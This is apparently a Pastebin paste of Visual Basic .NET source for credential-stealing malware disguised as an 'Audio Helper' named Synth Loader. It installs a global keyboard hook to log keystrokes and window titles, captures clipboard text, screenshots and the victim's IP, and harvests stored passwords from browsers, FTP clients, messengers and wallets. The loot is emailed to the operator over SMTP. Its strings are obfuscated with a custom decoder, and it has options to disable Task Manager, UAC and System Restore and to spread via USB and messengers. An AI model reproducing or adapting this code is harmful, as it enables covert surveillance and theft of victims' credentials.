Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Net.Mail
- Imports System.Net
- Imports System.IO
- Imports System.Runtime.InteropServices
- Imports System.Text
- Imports System.Security.Cryptography
- Imports System.Threading
- Imports System.Windows.Forms
- Imports System.Text.RegularExpressions
- Imports Microsoft.Win32
- Imports System.Drawing
- Imports System
- Imports Microsoft.VisualBasic
- Imports System.Diagnostics
- Imports System.Threading.Thread
- Imports System.Windows
- Imports System.Reflection
- <Assembly: AssemblyTitle("Synth Loader")>
- <Assembly: AssemblyDescription("Audio Helper")>
- <Assembly: AssemblyCompany("Synth Incorporated")>
- <Assembly: AssemblyProduct("Synth Loader")>
- <Assembly: AssemblyCopyright("Copyright Synth Incorporated 2010")>
- <Assembly: AssemblyTrademark("Trademark Synth Incorporated")>
- <Assembly: AssemblyVersion("1.7.0.1")>
- <Assembly: AssemblyFileVersion("1.7.0.1")>
- <Assembly: Guid("dbfe3852-cce4-4cf6-b4ac-c65e10e014e5")>
- Public Class WLCOME
- Public Shared Sub Main()
- Try
- System.Diagnostics.Process.GetCurrentProcess.MinWorkingSet = New System.IntPtr(5)
- Catch : End Try
- ''MsgBox("hi")
- 'DelayExecutionStuff
- Try
- If (Not System.IO.Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("eoatrq+NrLOxsXp7pa6ok6m3pyw=", "False"))) Then
- System.IO.Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("eoatrq+NrLOxsXp7pa6ok6m3pyw=", "False"))
- End If
- If (Not System.IO.Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("kZ3Excakw8rIyJGTzce4mr7Py7Whw7cU", "False"))) Then
- System.IO.Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("kZ3Excakw8rIyJGTzce4mr7Py7Whw7cU", "False"))
- End If
- Catch
- End Try
- Try
- For Each foundFile As String In My.Computer.FileSystem.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("kZ3Excakw8rIyJGTzce4mr7Py7Whw7cU", "False"), FileIO.SearchOption.SearchAllSubDirectories, "*.png*")
- File.Delete(foundFile)
- Next
- For Each foundFilez As String In My.Computer.FileSystem.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("l6PKy8yqydDOzpeYwsvFsMbUxA8=", "False"))
- File.Delete(foundFilez)
- Next
- Catch
- End Try
- Dim tries As Integer = 0
- 1: Try
- If tries = 3 Then
- Application.Restart()
- End If
- LGR = New KHK(ACTLG)
- LGR.HOOKE()
- Catch
- tries = tries + 1
- GoTo 1
- End Try
- Try
- TThread.IsBackground = True
- TThread.Start()
- Catch
- End Try
- 'FakeMessageStuff
- 'MeltStuff2
- 'VisitSiteStuff
- 'DLStuff2
- 'SRCStuff2
- 'StartStuff2
- 'ChromeStuff2
- 'SafariStuff2
- 'IEStuff2
- 'OperaStuff2
- 'RSBotStuff1
- 'EpicBotStuff1
- 'RareBotStuff1
- 'MinecraftStuff1
- 'BitcoinStuff1
- 'SpotifyStuff1
- 'FilezillaStuff1
- 'IDMStuff2
- 'CoreFTPStuff2
- 'NimbuzzStuff2
- 'PigdinStuff2
- 'SmartFTPStuff2
- 'MSNStuff2
- 'DynStuff2
- 'ImvuStuff2
- 'NoipStuff2
- 'DStuff
- 'FSL2
- 'Try
- ' If RarSPED = POLDEC.DD1("mNHf1gY=", "False") Then 'RarSPED
- ' Dim RarSPEDRec As New DARarSPED.RarSPEDdll
- ' Dim RarSPEDThread As New System.Threading.Thread(New System.Threading.ThreadStart(Sub() RarSPEDRec.RSSTRT()))
- '
- ' RarSPEDThread.Start()
- ' End If
- 'Catch
- 'End Try
- 'Try
- ' If YahooSPED = POLDEC.DD1("mNHf1gY=", "False") Then 'YahooSPED
- ' Dim YahooSPEDRec As New DAYahooSPED.YahooSPEDdll
- ' Dim YahooSPEDThread As New System.Threading.Thread(New System.Threading.ThreadStart(Sub() YahooSPEDRec.YHOSTRT()))
- '
- ' YahooSPEDThread.Start()
- ' End If
- 'Catch
- 'End Try
- 'Try
- ' If MSNSPED = POLDEC.DD1("mNHf1gY=", "False") Then 'MSNSPED
- ' Dim MSNSPEDRec As New DAMSNSPED.MSNSPEDdll
- ' Dim MSNSPEDThread As New System.Threading.Thread(New System.Threading.ThreadStart(Sub() MSNSPEDRec.MSNSTRT()))
- '
- ' MSNSPEDThread.Start()
- ' End If
- 'Catch
- 'End Try
- 'Try
- ' If PP2SPED = POLDEC.DD1("mNHf1gY=", "False") Then 'PP2SPED
- ' Dim PP2SPEDRec As New DAPP2SPED.PP2SPEDdll
- ' Dim PP2SPEDThread As New System.Threading.Thread(New System.Threading.ThreadStart(Sub() PP2SPEDRec.PP2start()))
- '
- ' PP2SPEDThread.Start()
- ' End If
- 'Catch
- 'End Try
- 'Try
- ' If USBSPED = POLDEC.DD1("mNHf1gY=", "False") Then 'USBSPED
- ' Dim USBSPEDRec As New DAUSBSPED.USBSPEDdll
- ' Dim USBSPEDThread As New System.Threading.Thread(New System.Threading.ThreadStart(Sub() USBSPEDRec.UBSTRT()))
- '
- ' USBSPEDThread.Start()
- ' End If
- 'Catch
- 'End Try
- 'SkypeStuff2
- Try
- STLRSThread.IsBackground = True
- STLRSThread.Start()
- Catch
- End Try
- 'StealOnlyStuff
- ''MsgBox("here")
- Process.GetCurrentProcess().WaitForExit()
- End Sub
- Public Shared Sub WAFO(ByRef secondsz As Double)
- Try
- Dim Fini As DateTime = Now.AddSeconds(secondsz)
- While Now < Fini
- Application.DoEvents()
- End While
- Catch
- End Try
- End Sub
- 'SRCStuff1
- Public Shared Sub LgSndr()
- Dim CLPBRDSTR As String
- Dim IPSTR As String
- Do
- System.Threading.Thread.Sleep(SendTime)
- ''MsgBox(ACTLG)
- CLPBRDSTR = ""
- IPSTR = ""
- Try
- If CLPBRD = POLDEC.DD1("mNHf1gY=", "False") Then
- CLPBRDSTR = POLDEC.DD1("mpaiqZt8l6Kpm3yXoqmbfJeiqZt8l6Kpm3yXqNjHr7zUzdCjl6Kpm3yXoqmbfJeiqZt8l6Kpm3yXoqmbfJjCCg==", "False") + System.Environment.NewLine + System.Environment.NewLine + My.Computer.Clipboard.GetText + System.Environment.NewLine + System.Environment.NewLine + POLDEC.DD1("mJSgp5l6laCnmXqVoKeZepWgp5l6laCnmXqVoKeZepWgp5l6laCnmXqVoKeZepWgp5l6laCnmXqVoKeZepWhxw0=", "False")
- Else
- CLPBRDSTR = ""
- End If
- Catch
- End Try
- WAFO(0.2)
- Try
- Dim dawebz As New WebClient
- IPSTR = POLDEC.DD1("mJSgp5l6laCnmXqVoKeZepWgp5l6laCnmXqVoKeZepWgp5l6laCnmXqVoKeZepWgp5l6laCnmXqVoKeZepWhxw0=", "False") + System.Environment.NewLine + System.Environment.NewLine + dawebz.DownloadString(POLDEC.DD1("osnU15NphMHczanCwdvCqcOO3sGbycnaxrO+0JW8qcKP1Ylzh5OXkm6KjsjMqg0=", "False")) + System.Environment.NewLine + System.Environment.NewLine + POLDEC.DD1("enaCiXtcd4KJe1x3gol7XHeCiXtcd4KJe1x3gol7XHeCiXtcd4KJe1x3gol7XHeCiXtcd4KJe1x3gol7XHeDqSs=", "False")
- Catch
- IPSTR = ""
- End Try
- WAFO(1)
- Try
- If SNDSCRENSHTS = POLDEC.DD1("mNHf1gY=", "False") Then
- Dim dabounds As Rectangle
- Dim screenshot As System.Drawing.Bitmap
- Dim dagraph As Graphics
- Dim Screencatcher As Bitmap
- dabounds = Screen.PrimaryScreen.Bounds
- screenshot = New System.Drawing.Bitmap(dabounds.Width, dabounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
- dagraph = Graphics.FromImage(screenshot)
- dagraph.CopyFromScreen(dabounds.X, dabounds.Y, 0, 0, dabounds.Size, CopyPixelOperation.SourceCopy)
- Screencatcher = screenshot
- Screencatcher.Save(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("j5vCw8SiwcjGxo+Ry8W2mLzNybOfwbXTtaWzvs4X", "False") + number.ToString + POLDEC.DD1("ZsPMzBI=", "False"))
- End If
- Catch
- End Try
- WAFO(0.3)
- Try
- If ACTLG = "" Then
- Else
- SNDNGLG = POLDEC.DD1("fHiEi31eeYSLfV55hIt9XnmEi31eeYSLfV55hIt9XnmEi31eeYSLYG2rrsFgXnmEi31eeYSLfV55hIt9XnmEi31eeYSLfV55hIt9XnmEi31eeYWrKQ==", "False") + System.Environment.NewLine + System.Environment.NewLine + ACTLG + System.Environment.NewLine + System.Environment.NewLine + IPSTR + System.Environment.NewLine + System.Environment.NewLine + CLPBRDSTR
- Dim tries As Integer = 0
- Try
- 2: Dim NEWMAIL As New MailMessage()
- With NEWMAIL
- .From = New MailAddress(Email)
- .To.Add(Email)
- .Subject = POLDEC.DD1("cKi3ureQpL3EY3CusXGJlq63i2Mi", "False") & Environment.UserName.ToString & POLDEC.DD1("aQ0=", "False") & Environment.MachineName.ToString
- .Body = SNDNGLG
- Try
- If SNDSCRENSHTS = POLDEC.DD1("mNHf1gY=", "False") Then
- Dim attachmentz As New Net.Mail.Attachment(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("j5vCw8SiwcjGxo+Ry8W2mLzNybOfwbXTtaWzvs4X", "False") + number.ToString + POLDEC.DD1("ZsPMzBI=", "False"))
- .Attachments.Add(attachmentz)
- End If
- Catch
- End Try
- End With
- Dim smtpn As New SmtpClient(SmtpServer)
- With smtpn
- .Port = SendPort
- .EnableSsl = True
- .Credentials = New System.Net.NetworkCredential(Email, EmailPass)
- .Send(NEWMAIL)
- End With
- Catch
- If tries = 3 Then
- Exit Sub
- Else
- tries = tries + 1
- GoTo 2
- End If
- End Try
- 'LogSendPastebin
- End If
- Catch
- End Try
- SNDNGLG = ""
- ACTLG = ""
- KEZY = ""
- number = number + 1
- Loop
- End Sub
- Public Shared GCInfo As String
- Public Shared CREFTPInfo As String
- Public Shared DynDNSInfo As String
- Public Shared IDMInfo As String
- Public Shared ImvuInfo As String
- Public Shared MSNInfo As String
- Public Shared NMBZZInfo As String
- Public Shared NoipInfo As String
- Public Shared IEInfo As String
- Public Shared OPRAINF As String
- Public Shared PGDNInfo As String
- Public Shared SafariPass As String
- Public Shared SMRTFTPInfo As String
- Public Shared Sub SENDSTLRS()
- Dim tries As Integer = 0
- Try
- Dim VARFileCount As Integer = IO.Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("eoatrq+NrLOxsXp7pa6ok6m3pyw=", POLDEC.DD1("g7nP3cEJ", "False"))).Length
- Dim dir1 As New IO.DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("eoatrq+NrLOxsXp7pa6ok6m3pyw=", POLDEC.DD1("g7nP3cEJ", "False")))
- Dim dir2 As IO.FileInfo() = dir1.GetFiles()
- Dim dir3 As IO.FileInfo
- WAFO(25)
- Dim StealInfo As String = POLDEC.DD1("lZGdpJZ3kp2klneSnaSWd5KdpJZ3kp2klneSnaSWd5KdpJZ3kp2klneSnaSWd5KdpJZ3krPbvpvBxdnMd5KdpJZ3kp2klneSnaSWd5KdpJZ3kp2klneSnaSWd5KdpJZ3kp2klneSnaSWd5KdpJZ4sg4=", "False") + System.Environment.NewLine + System.Environment.NewLine + GCInfo + System.Environment.NewLine + System.Environment.NewLine + CREFTPInfo + System.Environment.NewLine + System.Environment.NewLine + DynDNSInfo + System.Environment.NewLine + System.Environment.NewLine + IDMInfo + System.Environment.NewLine + System.Environment.NewLine + ImvuInfo + System.Environment.NewLine + System.Environment.NewLine + MSNInfo + System.Environment.NewLine + System.Environment.NewLine + NMBZZInfo + System.Environment.NewLine + System.Environment.NewLine + NoipInfo + System.Environment.NewLine + System.Environment.NewLine + OPRAINF + System.Environment.NewLine + System.Environment.NewLine + PGDNInfo + System.Environment.NewLine + System.Environment.NewLine + SafariPass + System.Environment.NewLine + System.Environment.NewLine + SMRTFTPInfo + System.Environment.NewLine + System.Environment.NewLine + POLDEC.DD1("Z4KNlIZngo2UhmeCjZSGZ4KNlIZngo2UhmeCjZSGZ4KNlIZngo2UhmeCjZSGZ4KNlIZngo2UhmeCjZSGZ4KNlIZngo2UhmeCjZSGZ4KNlIZngo2UhmeCjZSGZ4KNlIZngo2UhmeCjZSGZ4KNlIZngo2UhmeCjZSGZ4KNlIZngo0f", "False")
- If GCRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And SafariRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And IERECVRY = POLDEC.DD1("g7nP3cEJ", "False") And OperaRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And IDMRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And CREFTPRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And FilezillaRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And NMBZZRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And PGDNRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And SMRTFTPRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And MSNRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And DynDNSRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And ImvuRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And NoipRECVRY = POLDEC.DD1("g7nP3cEJ", "False") And VARFileCount = 0 Then
- Else
- Try
- 2: Dim NEWMAIL As New MailMessage()
- With NEWMAIL
- .From = New MailAddress(Email)
- .To.Add(Email)
- .Subject = POLDEC.DD1("YpqprKmClq+2VWmloaShe6OvY3uIoKl9VTA=", "False") & Environment.UserName.ToString & POLDEC.DD1("aQ0=", POLDEC.DD1("g7nP3cEJ", "False")) & Environment.MachineName.ToString
- .Body = StealInfo
- Try
- For Each dir3 In dir2
- Dim attachmentzz As New Net.Mail.Attachment(dir3.FullName)
- .Attachments.Add(attachmentzz)
- Next
- Catch
- End Try
- End With
- Dim smtpn As New SmtpClient(SmtpServer)
- With smtpn
- .Port = SendPort
- .EnableSsl = True
- .Credentials = New System.Net.NetworkCredential(Email, EmailPass)
- .Send(NEWMAIL)
- End With
- Catch
- If tries = 3 Then
- Exit Sub
- Else
- tries = tries + 1
- GoTo 2
- End If
- End Try
- 'StealSendPastebin
- End If
- Catch
- End Try
- ''MsgBox("here2")
- End Sub
- 'DLStuff1
- Public Shared KEZY As String = ""
- Public Shared Email As String = POLDEC.DD1("nszA08iluZ/NxZq9y5S7qMEP", "False")
- Public Shared EmailPass As String = POLDEC.DD1("qrbT2tCpx8QP", "False")
- Public Shared SmtpServer As String = POLDEC.DD1("rsPV2Iiiw8LRxmm50NUP", "False")
- Public Shared SendPort As Integer = 587
- Public Shared RecordAllStrokes As String = ""
- Public Shared RecordCustomStrokes As String = ""
- Public Shared CustomStrokes As String = ""
- Public Shared GCRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared SafariRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared IERECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared OperaRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared RSBotRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared EpicBotRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared RarebotRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared MinecraftRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared BitcoinRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared SpotifyRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared IDMRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared CREFTPRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared FilezillaRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared NMBZZRECVRY As String = POLDEC.DD1("USERNMBZZ", "False")
- Public Shared PGDNRECVRY As String = POLDEC.DD1("USERPGDN", "False")
- Public Shared SMRTFTPRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared MSNRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared DynDNSRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared ImvuRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared NoipRECVRY As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared DSABLETaskManager As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared DSABLEdCMD As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared DSABLERegistry As String = POLDEC.DD1("fbPJ17sP", "False")
- Public Shared DSABLEUAC As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared DSABLEFolderOptions As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared DSABLEControlPanel As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared DSABLESystemRestore As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared FRCSTMLGIN As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared CLPBRD As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared DelayExeCTMEion As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared DelayExeCTMEionTime As Integer = 5
- Public Shared MeltFile As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared SNDRNCONFIRM As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared VisitSite As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared VisitSiteSite As String = POLDEC.DD1("qdDb3ppwiwc=", "False")
- Public Shared DWNLDEX As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared DWNLDEXSite As String = POLDEC.DD1("qdDb3ppwiwc=", "False")
- Public Shared FKEMessage As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared FKEMessageType As String = POLDEC.DD1("Bw==", "False")
- Public Shared FKEMessageTitle As String = POLDEC.DD1("hc3Y3NF6e5blj3CLn6WQcAc=", "False")
- Public Shared FKEMessageBody As String = POLDEC.DD1("mcbW09C50IjCxrTT0dLGtX3L3tauwYjd0LZ91N7Cpn21wqR1j5azrY6LiAc=", "False")
- Public Shared STRTUPPERSIS As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared STLONLY As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared SNDSCRENSHTS As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared RARSPED As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared YahooSPED As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared MSNSPED As String = POLDEC.DD1("fbPJ17sPSP", "False")
- Public Shared PP2SPED As String = POLDEC.DD1("USERPP2SP", "False")
- Public Shared USBSPED As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared SkypeSPED As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared SkypeMessage As String = POLDEC.DD1("hbvR38MH", "False")
- Public Shared SendTime As Integer = 1800000
- Public Shared SNDNGLG As String = ""
- Public Shared ACTLG As String = ""
- Public Shared number As Integer = 0
- Public Shared LGR As KHK
- Public Shared TThread As New Thread(AddressOf LgSndr)
- 'ChromeStuff3
- Public Shared STLRSThread As New Thread(AddressOf SENDSTLRS)
- 'DLStuff3
- 'SRCStuff3
- 'StartStuff3
- 'IDMStuff3
- 'CoreFTPStuff3
- 'NimbuzzStuff3
- 'PigdinStuff3
- 'SmartFTPStuff3
- 'DynStuff3
- 'ImvuStuff3
- 'NoipStuff3
- 'FSL3
- 'SkypeStuff3
- End Class
- Public Class POLDEC
- Public Shared Function DD1(Input As String, LTTRHIT As String) As String
- Try
- Return System.Text.Encoding.UTF8.GetString(DecryptData(Convert.FromBase64String(Input), System.Text.Encoding.UTF8.GetBytes(LTTRHIT)))
- Catch : End Try
- End Function
- Public Shared Function DecryptData(Input As Byte(), LTTRHIT As Byte()) As Byte()
- Dim Salt As Integer = CInt(Input(Input.Length - 1))
- Dim FinVal As Byte() = New Byte(Input.Length - 2) {}
- Dim kc As Short = 0
- Try
- For index As Integer = 0 To Input.Length - 2
- If kc >= LTTRHIT.Length Then
- kc = 0
- End If
- If index >= Input.Length - 1 Then
- Continue For
- End If
- FinVal(index) = Convert.ToByte(Input(index) - (FinVal.Length Mod LTTRHIT.Length) - (LTTRHIT(kc)) + Salt)
- kc += 1
- Next
- Return FinVal
- Catch
- Return FinVal
- End Try
- End Function
- End Class
- 'CoreFTPStuff1
- 'DynStuff1
- 'FSL1
- 'ChromeStuff1
- 'IDMStuff1
- Public Class KHK
- Dim output As String
- Public Shared Function GEACWITI(ByVal hWnd As IntPtr) As String
- Try
- Dim length As Integer
- If hWnd.ToInt32 <= 0 Then
- Return Nothing
- End If
- length = GetWindowTextLength(hWnd)
- If length = 0 Then
- Return Nothing
- End If
- Dim sb As New StringBuilder(length + 1)
- GetWindowText(hWnd, sb, sb.Capacity)
- Return sb.ToString().Trim()
- Catch
- End Try
- End Function
- Public Shared Function HOKE() As Boolean
- Try
- Return KEHA <> 0
- Catch
- End Try
- End Function
- Public Shared Sub HOOKE()
- Try
- CAABBAA = New KeyboardHookDelegate(AddressOf KYBRDLCK)
- Catch
- End Try
- Try
- KEHA = SetWindowsHookEx(13, CAABBAA, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
- Catch
- End Try
- End Sub
- Public Shared Sub UNHOKE()
- Try
- If (HOKE()) Then
- If UnhookWindowsHookEx(KEHA) <> 0 Then
- KEHA = 0
- End If
- End If
- Catch
- End Try
- End Sub
- Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
- Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KYBRDHOST) As Integer
- Private Shared KEHA As IntPtr = 0
- Private Shared LACHFOTI As String = ""
- Public Structure KYBRDHOST
- Public VKCO As Integer
- Public SCCO As Integer
- Public FLGS As Integer
- Public TIEM As Integer
- Public DWEXIN As Integer
- End Structure
- Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
- Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadId As Integer) As Integer
- Private Shared CAABBAA As KeyboardHookDelegate = Nothing
- Public Shared Function KYBRDLCK(ByVal Code As Integer, ByVal WPA As Integer, ByRef LPA As KYBRDHOST) As Integer
- Try
- Dim CTMEI As String = GEACWITI(GetForegroundWindow())
- If CTMEI <> LACHFOTI Then
- LACHFOTI = CTMEI
- WLCOME.KEZY &= System.Environment.NewLine & POLDEC.DD1("hXOKhHZXcn2EdldyfYR2V3J9hHZXcn2EdldyfYR2V3J9Hw==", "False") + CTMEI + POLDEC.DD1("aoWQl4lqhZCXiWqFkJeJaoWQl4lqhZCXiWqFkJeJd4bADA==", "False") & System.Environment.NewLine & System.Environment.NewLine
- End If
- Catch : End Try
- Try
- Dim LTTRHIT As String = ""
- If WPA = &H100S Or WPA = &H104 Then
- Select Case LPA.VKCO
- Case &H30 To &H39
- If My.Computer.Keyboard.ShiftKeyDown Then
- Dim shiftednumbs As String = POLDEC.DD1("YnynjoNhgIeTgJ98jY6KYYSHlwk=", "False")
- Dim Splitted() As String
- Splitted = shiftednumbs.Split(POLDEC.DD1("VBM=", "False"))
- Select Case LPA.VKCO
- Case &H35
- LTTRHIT = Splitted(4)
- Case &H36
- LTTRHIT = Splitted(5)
- Case &H37
- LTTRHIT = Splitted(6)
- Case &H38
- LTTRHIT = Splitted(7)
- Case &H39
- LTTRHIT = Splitted(8)
- Case &H30
- LTTRHIT = Splitted(9)
- Case &H31
- LTTRHIT = Splitted(0)
- Case &H32
- LTTRHIT = Splitted(1)
- Case &H33
- LTTRHIT = Splitted(2)
- Case &H34
- LTTRHIT = Splitted(3)
- End Select
- Else
- LTTRHIT = Char.ConvertFromUtf32(LPA.VKCO)
- End If
- Case &H41 To &H5A
- If My.Computer.Keyboard.ShiftKeyDown Then
- LTTRHIT = Char.ConvertFromUtf32(LPA.VKCO + 32).ToUpper
- Else
- LTTRHIT = Char.ConvertFromUtf32(LPA.VKCO + 32).ToLower
- End If
- Case &H70 To &H87
- LTTRHIT = POLDEC.DD1("UaedGA==", "False") & (LPA.VKCO - 111) & POLDEC.DD1("o4EC", "False")
- Case &H27
- LTTRHIT = POLDEC.DD1("X7WjyX4H", "False")
- Case &H28
- LTTRHIT = POLDEC.DD1("O5GXpVor", "False")
- Case &H25
- LTTRHIT = POLDEC.DD1("U6mVvXIT", "False")
- Case &H26
- LTTRHIT = POLDEC.DD1("SJ6ssmce", "False")
- Case &H8
- WLCOME.KEZY = WLCOME.KEZY.Substring(0, WLCOME.KEZY.Length - 1)
- Case &H20
- LTTRHIT = POLDEC.DD1("RyA=", "False")
- Case &HA3, &HA2
- LTTRHIT = POLDEC.DD1("Vaue0cKpwsrOsVUS", "False")
- Case &HA4, &HA5
- LTTRHIT = POLDEC.DD1("RJqLvbeBXyQ=", "False")
- Case &HD
- LTTRHIT = System.Environment.NewLine
- Case &H9
- LTTRHIT = Char.ConvertFromUtf32(9)
- Case &H2E
- LTTRHIT = POLDEC.DD1("WrCkzMWXdQ4=", "False")
- Case &H1B
- LTTRHIT = POLDEC.DD1("S6GWy62IZh0=", "False")
- Case &H14
- If (Control.IsKeyLocked(Keys.CapsLock)) Then
- LTTRHIT = POLDEC.DD1("QpiLkJF1XZSehG1dl5WHf10m", "False")
- Else
- LTTRHIT = POLDEC.DD1("Q5mMkZJ2XpWfhW5emJ6fQyQ=", "False")
- End If
- Case &HC0
- If My.Computer.Keyboard.ShiftKeyDown Then
- LTTRHIT = POLDEC.DD1("vQg=", "False")
- Else
- LTTRHIT = POLDEC.DD1("lBM=", "False")
- End If
- Case &HBD
- If My.Computer.Keyboard.ShiftKeyDown Then
- LTTRHIT = POLDEC.DD1("eC4=", "False")
- Else
- LTTRHIT = POLDEC.DD1("cAQ=", "False")
- End If
- Case &HBC
- If My.Computer.Keyboard.ShiftKeyDown Then
- LTTRHIT = POLDEC.DD1("XCc=", "False")
- Else
- LTTRHIT = POLDEC.DD1("YhE=", "False")
- End If
- Case 190
- If My.Computer.Keyboard.ShiftKeyDown Then
- LTTRHIT = POLDEC.DD1("bRg=", "False")
- Else
- LTTRHIT = POLDEC.DD1("ZRA=", "False")
- End If
- Case &HBB
- If My.Computer.Keyboard.ShiftKeyDown Then
- LTTRHIT = POLDEC.DD1("bAY=", "False")
- Else
- LTTRHIT = POLDEC.DD1("WSs=", "False")
- End If
- Case &HDB
- If My.Computer.Keyboard.ShiftKeyDown Then
- LTTRHIT = POLDEC.DD1("wAI=", "False")
- Else
- LTTRHIT = POLDEC.DD1("mgg=", "False")
- End If
- Case &HDD
- If My.Computer.Keyboard.ShiftKeyDown Then
- LTTRHIT = POLDEC.DD1("rBg=", "False")
- Else
- LTTRHIT = POLDEC.DD1("gSM=", "False")
- End If
- Case 220
- If My.Computer.Keyboard.ShiftKeyDown Then
- LTTRHIT = POLDEC.DD1("vwQ=", "False")
- Else
- LTTRHIT = POLDEC.DD1("czA=", "False")
- End If
- Case &HBA
- If My.Computer.Keyboard.ShiftKeyDown Then
- LTTRHIT = POLDEC.DD1("axY=", "False")
- Else
- LTTRHIT = POLDEC.DD1("cBI=", "False")
- End If
- Case &HDE
- If My.Computer.Keyboard.ShiftKeyDown Then
- LTTRHIT = POLDEC.DD1("Ths=", "False")
- Else
- LTTRHIT = POLDEC.DD1("bQE=", "False")
- End If
- Case &HBF
- If My.Computer.Keyboard.ShiftKeyDown Then
- LTTRHIT = POLDEC.DD1("gQU=", "False")
- Else
- LTTRHIT = POLDEC.DD1("aQ0=", "False")
- End If
- Case &H24
- LTTRHIT = POLDEC.DD1("WrCo1safsoAP", "False")
- Case &H23
- LTTRHIT = POLDEC.DD1("R52SwqqEYiE=", "False")
- Case Else
- LTTRHIT = Char.ConvertFromUtf32(LPA.VKCO)
- End Select
- WLCOME.KEZY &= LTTRHIT
- WLCOME.ACTLG = WLCOME.KEZY
- End If
- Catch
- End Try
- End Function
- <DllImport("user32.dll", SetLastError:=True)> _
- Public Shared Function GetForegroundWindow() As IntPtr
- End Function
- <DllImport("user32.dll", SetLastError:=True, CharSet:=CharSet.Auto)> _
- Public Shared Function GetWindowTextLength(ByVal hwnd As IntPtr) As Integer
- End Function
- Public Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As StringBuilder, ByVal cch As Int32) As Int32
- Sub New(ByVal output As String)
- Try
- Me.output = output
- Catch : End Try
- End Sub
- End Class
- 'IEStuff1
- 'ImvuStuff1
- 'MeltStuff1
- 'MSNStuff1
- Public Class DAMSNSPED
- Public Class MSNSPEDdll
- Public Shared Sub MSNSTRT()
- 'Dim filelink As String = AppDomain.CurrentDomain.BaseDirectory + AppDomain.CurrentDomain.FriendlyName
- 'Dim moduledeforme1 As System.Reflection.Public Class = Assembly.GetExeCTMEingAssembly().GetModules()(0)
- 'Dim fichier As String = filelink
- 'Dim dossier As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + POLDEC.DD1("laHIycqox87MzJWhxNnLnsLGy8qVDg==", "False")
- 'Try
- ' If Dir(dossier, FileAttribute.Directory) <> "" Then
- ' Dim i As Int32 = 0
- ' Dim x As Int32 = 0
- ' Dim propage() As String
